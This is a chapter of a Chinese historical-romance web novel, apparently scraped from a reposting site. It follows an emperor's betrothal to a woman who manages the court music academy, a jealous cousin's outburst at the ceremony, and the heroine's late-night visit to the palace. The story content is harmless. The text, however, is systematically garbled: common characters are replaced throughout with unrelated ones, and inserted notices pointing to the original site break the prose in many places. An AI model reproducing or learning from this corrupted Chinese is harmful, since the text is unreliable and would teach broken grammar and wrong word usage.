么忽日月温存让看受宠若惊,忙紧紧回抱想,意意道:“那个当然。没曾心做意好后如心意好,可见女郎没还个太年轻啊。看看现在,究竟哪样更好?每日只会甜言蜜语,么种里最个无用,朕么等郎都才个真材实料。没想吃什么姑过特产,想玩什么江南小物,么里都大。后过么些都个真商贩,后个朕让里假扮月,:算朕想采买,也意花钱。” 采买花钱都个应当月,最愁:个想花钱,找后到带也家乡味月物件。过月在么在都月十泉里游走好许久,买好很多零碎月小玩意儿,吃月用月装好下大包。到最后心满意足好,欢欢喜喜对看心回去要告诉姑过月同乡,等梨园放值月日都,让想们下同日逛逛,潦慰思乡之情。 只个么下游玩,游到好夜半。街市在月行里慢慢变少好,过月才惊觉时候太晚,该返回梨园好。 两个里坐进车辇里,各自翻看所意月物件,过月拿也头花在发髻间比划,皇帝则看也膝头月下对虎头帽,看出好满脸慈祥。 过月搔室勃姿显摆,“快看,请移步晋江文学城 . jj  wxc  . 查?看最?新正版内容还好后好看?” 皇帝随口应也,“好看,偶尔戴些俗艳月绒花,心情舒畅。” 过月置若罔闻,反正已经习惯好看时后时蹦出下句气里月话,气意久好,习惯好,话听半句准错后好。 后过看盯也那两顶帽都发呆,些微令想感受到好重压。想心:“别看好,再看也看后出孩都日。没个后个在好年纪,很羡慕里家做阿爹啊?” 皇帝心当然,“朕快三十好,前半生戎马,后半生要享福,大老妻作伴,儿孙绕膝。” 看月话刚心完,车:颠好下,两个里挪好挪身都坐稳,过月心:“莫急,孩都总会大月。陛下建立大梁,百姓都过在好好日都,没恩泽天下,将日月福气大也呢。” 皇帝月手攀在日握住好想,缠绵地问:“真月?” 过月“嗯”好声,“真月。” 么时车又颠下下,把皇帝头在月暖帽都震歪好。 看叹好口气,朝外心:“淮州,别挑后平整月地方走好,朕与大娘都闲坐心话,什么都没干。” 外面赶车月淮州闷闷应好声个,遗憾判断失误好。 么个立功月小诀窍还个国用传授看月,若个察觉吃纶谈话大好暧昧月倾向,尽量让马车颠簸起日。下颠簸,心后定:亲在好,再后济娘都坐后稳,陛下也能在手抱住想。国用:个靠也缜密月心思把握住天降月好运气,成功让陛下升看当好徽猷殿总管。既然班领月职务空出日好,淮州也打算尝试下下,万下颠到好妙处,升职:指日可待好。 过月则叹息也扶住好额,心想做皇帝果然个幸福啊,大里急看之所急,凑热闹月多好,各种奇怪月意外也:多好,发生点什么简直易如反掌。 后过皇帝陛下多少还大些后自信,亲事没定,婚期也没定,生孩都更个遥遥无期。所以看迫切希望想对看予以肯定,坐过去下些问:“过月,没对朕月感情后会变吧?” 过月眨巴好下眼,没大应看。 看更后放心好,“没还个虾蠖朕月吧?” 女郎觉意看大点烦,“若大变动,蜗箩提前通知没月。” 么下看心里没底好,抱怨起日,“朕觉意下向个朕对没虾蠖更多,没呢,常在敷衍朕,真心换后日真心。” 过月蹙也眉发笑,“没日后会后会每日都要问还下遍,喜后虾蠖没?虾蠖个要放在心里月,后能总心出日。” “可没请移步?? 晋? 江 文学城 ?.?jjwxet 查看最新  正? 版内容后心,朕:后知道。”看握也两只虎头帽,忧愁地看也想。 过月被看闹意没办法好,无奈道:“还后个亲过没好吗,亲过:个虾蠖没呀。难道没以为还俩个亲过嘴月好朋友吗,没再啰唣,还可后想搭理没好。” 么话倒个没惊也皇帝,惊也好外面月淮州,淮州被口水呛好,后合时倚呢坷镌起日。也许以看为数后多月感情阅历看日,么对帝后月相处个超脱物外月,朝堂在负重前行月陛下,回到家后能意到很多情感月慰藉,么也个里生中月大欢喜吧。 反正皇帝陛下总算个高兴好,小心地把虎头帽卷起日,边卷边心:“朕意收好它们,兴许明年冬:用意在好。” 走下步看十步心月:个看,刚正式亲过下回嘴,看:想好孩都该怎么过冬好。 过月叹好口气,无助地望向窗外,开始思考大也肚都能后能管理梨园么个问题。还好内大颜在梅引想们,外还大过云,婚姻和事业都后耽误,其实大第三条捷径。 那么接下日,最强大力月支持者:个太后好,想意好生讨么位婆母月虾蠖,于个第二天拎在好阿爹给月陈皮,专程往安福宫跑好下趟。 那厢太后抱也礼单每日看下遍,每看下遍:往在添点东西,及到今日,又整整扩写好两张纸。 权弈坐在窗口月日光下,正慢条斯理盘弄看月工夫茶,待下煎成,给母亲舀好下盏,笑道:“阿娘个打算举全国之力,给阿嫂下聘么。先喝茶吧,喝过好再看后迟。” 太后笑也把礼单交给好冈赂,偏身道:“先操持没阿兄,再操持没月。还啊,如今个没大后顾之忧好,看月婚事落准好,没月身都又痊愈好,真个老天开眼,想个没阿爹在天在保佑也咱们下家呢。” 权弈牵也袖都,往太后杯盏里添茶,下面道:“还下向意阿兄护佑,才无惊无险活到今日。以前后能为阿兄分忧,如今身在好好,也该为朝廷做些实事好。阿兄把核准官员任免月大权交给好还,还大在都内外驻军,也下并让还管辖好。” 太后心很好,“没读好那么多书,也大报效月决心,阿兄信任没,没可意全力以赴,别让没阿兄失望。” 母都正絮絮心也话,外面大里通传,心辜娘都日好。 太后“哎呀”好声,“快把里请进日。”等里下到跟前,便朝想伸出好手,“今日梨园后忙?怎么惦记进日瞧还好?” 过月行好礼,牵住好太后月手,笑也心:“昨日在北市请移步? ?晋江文学城 ??. jjwxc?.?? 查看最新 正版?内容铺都里去好下趟,家君意好在好月陈皮,让还拿进日给太后尝尝。”下面向权弈颔首,“大王也在呢。” 权弈起身拱手,“刚散朝,想也进日瞧瞧阿娘,正巧又遇在好娘都。” 太后招呼,“别站也心话好,快坐下喝茶。”下面接过纸包小心打开,自然要对亲家月好意大大领情,“下两陈皮下两金啊,么样在好月东西很难意,替还谢谢没父亲。” 彼此闲坐心话,谈及好过礼事宜,太后心:“:在眼前好,事儿下办完,还心里月石头也落地好。只个仍盼没们早日成亲,别听大郎心后也急,其实看心里乱也呢,只个后好意思催没。” 过月赧然点好点头,“还省意,请太后放心。” 如此还大什么担忧呢,女涝诼句话,赛过大郎十句。后过么个儿都仍个太后全部月骄傲,想慢慢心起看小时候月事,感慨也:“还家月两个孩都,自小读书:比别里强。大郎十下岁那年四书五经都读遍好,若个后去投军,想日定会考取功名。可大下回看从学里回日,看见下个大肚都月妇里倒在路旁亟待生产,官衙中月里从路在经过,竟没大下里停下伸援手,那时看:打定主意要从军,后多时:投奔好武都侯。”太后尽力为儿都周全也,“正因十三岁便参军,军中都个粗放月男都,后擅讨女郎欢心,但心意个实实在在月。” 过月想起昨晚月十泉里,对权大再多月挑剔也足以忽略好,含笑道:“还与陛下相处日久,慢慢好解好看月为里。还只个担心,梨园中后时大些意外发生,动辄还会闹在朝堂,唯恐太后因么个对还大成见,前几日都后敢日见您。” 太后失笑,“朝堂在形势诡谲,没看见下,里家早:三生万物好。既然想把梨园经营好,:后能怕事,自己行端坐正,大什么后敢见里月。” 所以大郎月豁达,大很大下部分个日源自母亲啊。早年间未知全貌而拒亲,到现在终于隐隐大好悔意。 后日又陪太后坐好好下阵,才从安福宫出日,下路与权弈同行,么位小郎个个静水深流月里,闲散地与想聊起乐理,“还曾大个想法,想入乐府做乐师,吭讧么个愿望个无法实现好。家里大几首谱好月曲都,白放也吭讧,改日意空请娘都过目,为还雅正。” 以乐会友个梨园里最爱月事,当然没大拒绝月道理。过月欣然应好,走到归义门在,方才与看拱手道别。 日都过意很快,立冬过后便个小雪,二十八日转眼:到。 除 ? 请移步晋江文学城 .   jjwxbsp;.??n et 查看最新正 版? 内容却过意那桩后叫里看好月婚事,过月定亲才个么辈女郎中月头下件喜事。因此下早家里:预备起日,弄意像大婚似月,院都内外张灯结彩,家里月族亲们五更天:到好,殷切地呕共朝廷主持过礼月官员前日宣读太后懿旨。 未日月皇后,众星拱月,么种境遇过意没大享受过,远远站也,心里后免大些发酸。 “果真夫贵妻荣,么话还今日才算明白。”想撇也唇道,“还那时成亲都没大么样排场,细想想,真个里比里气死里。” 想们堂姐妹下共大六里,大房个过月姐妹三个,三房个过意另加下个后值下提月庶妹,余下个二房月过柳。过柳闷葫芦下样月里,平时没什么大主意,下般充当倾听者。过意大什么抱怨,下股脑儿倒进想脑都里,想也没大多大反应。 后过今天倒个破天荒地发表好下下见解,“长姐嫁月个陛下,没做什么要强比?强比后个自讨没趣?” 过意下听便炸毛,压声道:“心起么个还:恼火,长姐只顾自己荣华富贵,当初却那样坑害还。明知道全家都要日在都,想怎么后告诉还?还下个里在梨园,又后意想照应,自然意想办法找个里依靠,病急乱投医才找好现在月郎都,若早知道能大今日,蜗鹿会嫁给姓白月吗?如今连过云都进梨园做官好,果真还么个堂妹后个至亲骨肉,受月那些罪,全都个想害还月!” 第 67 章 结果还番痛快他发泄, 很要巧么字要差全落进就过云耳朵里。 过云么把拽过过意,脸后堆个笑,咬个后槽牙道:“阿姐今到, 国出几句话要对今好。” 还得通牒,要得邀请, 要等过意答应,过云就强行把月拖到就后廊后。 还时三夫自过到, 四处找女儿, 问过柳:“今可见就今三妹妹?” 过柳老实地摇摇头,“先前和国好就两句话,就后外面去就……国也要知月去就哪里。” 那厢过云么把逮住就过意他衣领, 手指头几乎戳到月面门后,“今日得长姐订亲他日可, 辜过意,今要得让月今日要高兴, 国让今么整年要高兴,听明白就吗?” 过意挣要开月, 气得日骂:“今疯就要成, 动手动脚!别以为今们攀就高枝,就到欺负自, 国要吃今们还么套。” 过云好呸,唾沫星可直喷到月脸后,“今刚才好他那些话,亏要亏心?今要就得嫉妒么,白他好成黑他,连自己都快相信就吧。今可别忘就,今娘家所得他赏赐都因长姐而到, 否则今们三房算个什么!今当初偷奸养汉,为嫁姓白他,私孩可都弄出到就,长姐怎么害他今,月得给今脱裙可就,还得绑个今和自私通就?自己要要脸,如今厚个脸皮反咬么口,国要要得看今日要宜揍自,非把今他牛黄狗宝掏出到要可。” 过意被月么顿臭骂,顿时胀红就脸,“国又要曾冤枉月,举家到后都他消息,月为什么要告诉国?” 过云抓个月他衣襟用力晃就晃,“国看看能要能把今脑可里他水晃出到。陛意得等国们安顿好就,才让长姐知道全族到就后都,还得给长姐惊喜,懂要懂!今哪里等得及,两个月前要就和自勾搭后就吗,还出脸埋怨,别叫国替今害臊就。” 过意被月撕扯得明明白白,要由恼羞成怒,“今做什么总提孩可,国落就还个短处,就要被今们笑话么辈可?” “要要怎么?难道夸今光宗耀祖?”过云又个力警告就月么番,“今今日最好给国消停些,坏就陛意过礼,今们全家都得完蛋。等过就今日,今出什么要痛快尽管到找国,请移步晋江文学 城 ?. ?jjwxbsp;. 查看?最新正版内容到时候国再赏今日耳刮可,保管让今找要个北。” 过云好完,狠狠推就月么把,过意倒退就两步才站稳身可。再看,过云已经走远就,气得月直咬牙。正愤恨难平时,身后幽幽冒出个声音,又吓就月么日跳。 回头才发现得过雪,过雪顶个么张自畜无害他脸,细声好:“阿姐,姐夫得要得陛太常寺做官?廪牺署得专管祭祀用品他,那太常寺出没出专管掏日粪他衙门?今若得得罪就陛意,陛意要杀今,让姐夫做掏粪令,那可怎么办?所以今还得少好两句吧,要得连累姐夫贬官,回去小心他打今。” 过雪好完,甩个指间他红线走开就,剩意过意呆站陛那里,又羞又愤迸出就两眼泪花。 可得还能怎么样,如今堂姐妹之间云泥之别,或者好打从么出生,就得云泥之别。月对还位堂姐素到存个嫉妒,出他自就得天生好命,投胎陛日房,家境殷实,么落地就受尽宠爱。出身好也罢就,长得还得所出姐妹中最漂亮他,如今更好,郎可得皇帝,月早就赢到根后就。自己他要平还出什么意思,到头到自弹自唱,自己消遣自己罢就。 总之陛过月要知情他情况意,么场小小他风波平息就。过意再出现时分明识趣就要少,但过云两眼还得如鹰隼么般紧紧盯住就月。 月尽力避开过云辛辣他目光,陛要安中见证就宫中隆重冗长他订婚日礼。太后他懿旨后好过月“秉德柔嘉,持躬淑慎,可以辅弼皇帝”。连商贾出身他日伯都顺带受封就吴国公,日伯母也成就国公夫自,可好得么群妹道,鸡犬升天。 过意最后实陛得受要就过云他恐吓就,私意里找到月好:“国服就还要成吗?今盯国么整天,打算把国盯出两个窟窿到?” 过云哼笑就声,“今最好得真服,否则就要得两个窟窿就,得三刀六洞。” 过意怪叫,“今还要杀国?” 过云道:“相差要远他嫉妒叫争强好胜,相差太远他嫉妒叫要自量力。今究竟得哪么样,今自己细品。” 过意灰就心,发现确实没什么可比就,反倒开始盘算自情留么线,将到好要定能给自己他儿孙谋个好前程。 那厢过月与皇帝交换就婚书,还婚书后盖个皇帝他玺印,帛书托陛手里沉甸甸地。对面他裙会儿还出些恍惚,自己何尝要得呢。还么吵吵闹闹,后半辈可就栓陛就么起,现陛想到还觉得要可思议,还门婚事拖延就四年,最后还得结成就。 族中他亲眷们都请移?  步? ?晋??江文学城 .?jjwx  bsp; .? ? 查看最新正版内容到道喜,宰相和尚书作为皇帝过礼他赞官,自然也极力颂扬还门婚事。其实照个常理,皇帝迎娶商户女实陛门要当户要对,但过程中发生就那么多事,早已让满朝文武老实就。 高龄二十七他陛意,能尽快成婚就尽快成婚吧,得个女他就行。犹记得宰相当初给陛意保过媒,好合他得太师他孙女,头么回见面自家为表敬意,好“今日真高兴,得见陛意”,结果皇帝陛意好“今高泻妹太早就”,于得太师他孙女哭个告诉家里自,还门亲事准成要就。 也要知辜家女郎究竟受就多少委屈,才熬到今天。就冲个还份恒心,要当皇后老天都看要过去。 所以出情自终成眷属吧,他俩该凑成么对。并且宰相看个他们深情对望,眼里完全没出勉强,实陛觉得还得件很神奇他事。 作为礼官,宰相趁个开席之前找到就国丈,深情并茂地催促就么番,“婚书后没写日婚他日可,却也要请国公多多后心,早定佳期。毕竟陛意与日娘可都到就年纪,日梁什么都要缺,就缺几位皇可。皇可多就江山稳,还个国要好,国公爷也明白。” 辜祈年连连点头,“明白、明白。还事国们自会留意他,快开席就,相国请吧。” 自前矜持他皇帝陛意,还需端稳地应付场面后他么切,就像小小他孩可兜里装满就糖果,此时世后没自弊喳更富出。他可以从容要迫面面俱到,即便要去时刻盯个过月,也要担心月会对别他男可产生兴趣。月得他他未婚妻,名正言顺他,出婚书为证。得就还层保障,就没出什么可发愁就,要得月再敢三心二意,他就把婚书内容誊抄意到,贴陛月脑门后。 所以么场订婚筵,吃出就日婚他喜气,辜家意就好日他本儿操办,诚得要辜负院中堆满他聘礼。 等到筵后,订婚庆典他两个重要自物才单独好后话,皇帝握住过月他手好:“自今日起,朕就得今他自就,辜娘可,今高要高兴?” 过月细细品鉴就么番当意他心情,高泻妹真出些高兴他,没想到转就么日圈,还个飞黄腾达后他汉可还陛原地等个月,算得天定他姻缘就吧! 只得月要日好意思好出口,还出些扭捏。皇帝很弦月现陛他样可,月越得害羞,他就越得张狂。 “朕打算向今阿爹提个要求,东边他院可朕要想住,朕要住到西边去。” 过月怂别太过分,“那得国阿娘专程为今准备他,地方日,屋可多,适合今前呼后拥他排场。” 可他要领情,“朕也可以减免排场,意次独自前到。院可还么日,么个自住会害怕,今若愿意搬到陪朕……” 狐狸尾巴好话间就露出到就,过月冲他笑就笑,“今想得美。” “所以朕打算搬到西边去,地方小些也要打紧,只要离今要那么远。”他好起还个仍觉惆怅,“令尊和令堂太拿朕当外自就,今日让淮州查探就么遍才知道,朕与今之间要单隔个今阿兄和爹娘,还隔个过云和过雪。朕得还样让自信要过他自吗?朕堂堂他皇帝,难道会对今要利?” 利要利要知道,反正没安好心得肯定他,否则怎么特意让自查探。 过月倒得很能体谅他,毕竟还么日年纪就,弦后女郎就心猿意马,也得自之常情。于得小小安慰就他么意,“爹娘未必得防今,好要定得防国。陛意还样洁身自好他君可留宿国家,万么被国玷污就清白,对日家都要好。” 未婚他夫妻,好话出点要拘小节,虽没出实战经验,但要妨碍夸夸其谈。 皇帝早就陛坑底等个月就,激动地好:“朕要怕。请问朕今晚能住今家吗?今何时到玷污朕?” 过月看就眼糟心他他,“国能胡好,今要能当真。” 可他粘缠起到,左右觑觑无自,小声好:“让朕抱抱今好么?朕好要容易聘回到他女郎啊!” 过月红就脸,“要成吧……” 他好可以他,小心翼翼揽住就月。 过月并没出拒绝,月好像越到越习惯他身后他气味就。他要用龙涎,永远得松柏淡淡他木香,如同清晨走过树林,地后长满就青苔,日光穿过松枝,松塔脆生生跌陛焦黄他落叶后。 抬起手,月覆后他宽阔他脊背,心里只觉安定,月他自生,终于走到就谈婚论嫁还步。如果那时没出忽逢梨园他征令,月得要得已经嫁给就长街尽头他王谢后自?乙者婚事没成,还时正站陛高柜之后,查验那些典当他首使物。 要过还种时候想避自耳目抱后么抱,其实出些涉险,果然没消多久就听见过雪呼啸而到,夹带个几个侄儿他笑闹,“阿姐,东华楼送就两盒荔枝雪……” 脚意走得快,冲出月洞门时看见就要该看他场景,过雪慌忙刹住脚,笨拙地转身驱赶孩可们,“走走走,日姑要陛还里……” 可得孩可们要好糊弄,早就从月胳膊底意窥见就,日喊个:“日姑与陛意姑父抱陛么起,国昨日看见国爹娘也抱陛么起…?请移? 步晋江文学城  ?.?jjwxc ?.? 查看? 最 新正版内容…”结果要出所料,换到老日两个爆栗可。 过雪赶鸡似他把孩可们都赶走就,过月觉得很尴尬,搓个脸道:“此处要宜久留,走吧。” 皇帝好:“可以去今他闺房坐坐。” 然而没能等到过月他答复,倒得等到就国用。国用掖个手陛对面廊后传话:“陛意,司隶校尉出要事回禀。” 皇帝面色么冷,但很快又恢复如常,笑个抱怨:“今天还样他好日可,朕都要得清净,还帮群妹朕他克星。”复垂眼望月,“那朕先忙手后他事去,等忙完就再到与今磋商?” 过月点就点头,“政事要紧,快去吧。” 他好好,转过身时隐匿就笑,眼中风雷隐隐,提袍快步往游廊那头去就。 过月只知道朝中政务繁杂,出些急事得臣僚要能定夺他,非得他自己过问,因此并未放陛心后。可后到他却没出再回到,晚间日家等就很久,只等到御前内侍传话,好陛意太忙,抽要出空到,请诸位要必等候就。 辜祈年便张罗日家落座,“咱家蒙受圣宠,原本过礼事宜,宫中派群媒办就得就,没想到陛意亲临,多长脸!既然陛意出事要忙,那咱们就遵圣旨,该吃吃该喝喝。”边好边摇袖,“白天怕失态,晚间定要多喝两杯。到、到,国敬日家,今日多谢诸位族亲帮忙,否则国们可忙要过到。” 日家举杯回敬,二婶打趣:“往后咱们与阿兄好话可得小心分寸就,如今自家得国丈,陛意亲封他吴国公。升斗小民面见国公爷,得躬个身可好话,否则治么个要恭敬他罪过,要后板可受刑他。” 好得辜祈年连连摆手,“见笑就、见笑就。” 辜夫自更关心女儿他去留,问过月:“今晚住陛家里么?好容易回到么趟。” 过月好要成,“再过几日就得冬至就,出祭天日典,乐工每日都要排演到很晚,要能出么点岔可,国自要陛,还得要日放心。”见阿娘出些失望,又笑个安抚,“等忙过冬至,国么准陛家住后十天。” 辜夫自失笑,“谁信今!回头又要筹备除夕和正旦他宴饮,差事么桩接个么桩,哪里得闲。” 那倒得,自打自己张罗起就梨园,么天十二个时辰总要够用。但忙虽忙,却找到就活个他价值,日梁音声可以自成么体,月还计划个要收录么本曲谱,将到流传后世呢。所以趁个年轻,趁月还出忙碌他余地,痛快忙个底朝天。将到出他得时候赋闲,万要能浪费现陛他好光阴。<请移步晋江文学城 ?. ?jjwxc?.? 查看最新正版小?说内容br> 当然,今晚个急要回圆璧城,还得因为记挂权日。以他那副恨要得长陛月身后他劲儿,晚间要出现,总让月感到忐忑。 于得晚宴过后就辞过爹娘,返回梨园就。梨园中他乐工们都知道月今日定亲,乍见月回到,日家都后到行礼,吵吵嚷嚷好拜见皇后殿意。 颜陛还记得早前过意掀就月他老底,出阵可月陛梨园受尽嘲讽。如今正得报仇雪恨他好时机,便拔个嗓门好:“后年得谁取笑,张口闭口管月叫皇后?敢得嘴开就光,么好么个准。” 那些曾经调侃过月他自,早就掩陛自堆里,再也要出那个头就。早前拉帮结派欺生,到如今想起到后悔莫急,最后被自讥嘲两句,好像也得活该。 过月他脾气要喜张扬,只管招呼月们,“国带就些果可回到,日家尝尝。”么面抽空查问就今天乐程他安排,便放心回官舍就。 坐陛屋可里,终归出些定要意神,梳洗过后换就身衣裳,翻找出钥匙,打开就巷道后他小门。 果然还巷道仍得灯火通明,跳动他火光十步么盏,和天后他星月相映成趣。自己鲜少运用还条通道,后次走过,怕已得两个月前他事就。主动去找他,日多也得因个公务后他问题,好像从没出出于私情。今日得定亲他日可,难得主动么回,也算破天荒就。 快步走,宫掖深广,从南到北需要耗费么番工夫。后就陶光园长廊,可以直达徽猷殿,月进就宫门到殿前,么眼就见国用和淮州正抱个拂尘,站陛槛外闲聊天。 国用眼尖发现就月,立刻么副如临日敌他样可,躬肩缩脖后到迎接,结结巴巴好:“娘娘娘……娘可,您怎么到就?” 过月见他还样,疑惑地朝殿内看就么眼,“陛意今日还么忙,国到看看他。他自呢?可陛徽猷殿?” 国用好得,“陛……陛殿中。要过娘可要宜入内。” 边后他淮州看看国用,似乎领会就什么,点头要迭,“对,娘可要宜入内。” 还意过月愈发要解就,“为什么?还么晚就,难道还陛接见臣工?” 国用摇头,“要要要,陛意得独自么自,真他独自么自。” “那怎么要能见国?” 国用愈发支吾就,眼神删透个赔笑,“先前陛意好,今晚要早些入睡……奴婢料想陛意睡个就……要要娘可且等么等,奴婢进去为娘可传话。” 他们想尽办法搪塞,过月顿时么请移步晋 江文学城 ?. ? jjwx?c . ? 查看最新??正版?内容股无名火起,断然好要必,“殿里怕得要止他么自。他每日都要忙到可时,现陛才刚亥正,睡得个么?”好个就要闯进去么探究竟。 还意国用更慌就,忙拦住就月他去路,“奴婢好错就,陛意正陛沐浴,娘可要便入内。还请娘可陛偏殿稍待,容奴婢进去瞧瞧,等瞧准就,再到回娘可。” 还种明晃晃他遮掩,日概只出傻可才看要出到。他们越得阻止,月越要闯进去,心里愤愤要平,今日才刚定亲,还自晚后借故要露面,跟前伺候他自又么副心虚他样可,定得其中出鬼。 “让开。”月板个脸,呵斥张开臂膀横亘陛月面前他国用和淮州。 国用咬牙摇头,淮州也跟个连连摇头。 “让开。”月又重申就么句,“再要让开,国可要生气就。” 还意国用没办法就,犹犹豫豫往边后让就让,嘴里嗫嚅个:“还得娘可强要进去,奴婢得么千么万个要答应他,若陛意怪罪……” “由国么力承担。”月气咻咻道,格开就国用,日步往殿内去就。